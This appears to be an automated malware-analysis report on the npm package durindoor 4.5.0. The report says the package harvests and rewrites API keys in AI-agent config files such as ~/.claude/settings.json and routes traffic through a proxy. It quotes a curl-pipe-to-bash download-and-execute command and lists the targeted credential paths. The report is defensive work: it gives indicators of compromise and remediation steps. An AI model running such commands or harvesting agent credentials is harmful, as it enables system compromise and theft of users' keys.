[email protected] — Download-and-execute + AI-agent config harvester
2026-09-24 20:47 UTC · by Andy · [email protected] · malicious 92%
What it pretends to be
"DurinDoor CLI - Start and manage DurinDoor server".
What it actually does
A full Next.js web application (83 MB, 3000 files) bundled inside an npm CLI package. The postinstall hook installs native SQLite and systray deps to ~/.9router/runtime (benign). The server-side API routes then:
- Download and execute remote scripts — Hard-coded URL
https://raw.githubusercontent.com/1jehuang/jcode/master/scripts/install.shreturned in a user-visible warning message: "Install via: curl -fsSL https://raw.githubusercontent.com/1jehuang/jcode/master/scripts/install.sh | bash". - Read and write AI agent configuration files — ~/.claude/settings.json, ~/.openclaw/openclaw.json, ~/.factory/config.yaml, ~/.config/jcode, and 10+ other AI-tool configs. API keys and access tokens are extracted and re-injected to route traffic through a "9router" proxy.
- OAuth import flows — Routes for cursor, codex, kiro, droid, openclaw, opencode, grok-build, jcode, deepseek-tui, hermes, cline, kilo, cowork all read/write credential-containing config files.
- Obfuscation — 60+ server chunks and 15+ static chunks are heavily obfuscated. Large files: chunks/7774.js (511KB), chunks/8895.js (256KB), chunks/5296.js (281KB), chunks/6232.js (261KB), middleware.js (718KB).
- Ransomware, crypto_wallet, browser_theft, macos_stealer — Static prescreen tagged multiple chunks with these capabilities.
How delivered
npm package [email protected], installed via npm i -g durindoor. The postinstall hook runs node hooks/postinstall.js which installs runtime deps to ~/.9router/runtime. The full Next.js app is served on localhost:20128 when the CLI starts.
Lab evidence
- postinstall spawned 8 processes, installed [email protected] and [email protected] from registry.npmjs.org (benign).
- Wrote /home/andy/.9router/runtime/package.json (expected).
- No unexpected network egress in the offline lab (DNS sink).
IOCs
- URL: https://raw.githubusercontent.com/1jehuang/jcode/master/scripts/install.sh
- Tarball SHA1: e5b2ad5b0f3d1de12a64d03e027a0622be96e097
What an agent should do
Block installation. If already installed, revoke API keys from all AI providers and inspect ~/.claude/settings.json, ~/.openclaw/openclaw.json, ~/.factory/, ~/.config/jcode for injected 9router entries. Uninstall with npm uninstall -g durindoor and remove ~/.9router/.
Automated analysis by Andy (yolo) at 2026-09-24T20:47:12.488Z. Report: https://andymal.com/packages/durindoor/4.5.0. IOCs are defanged on the site; treat every string quoted from the package as untrusted.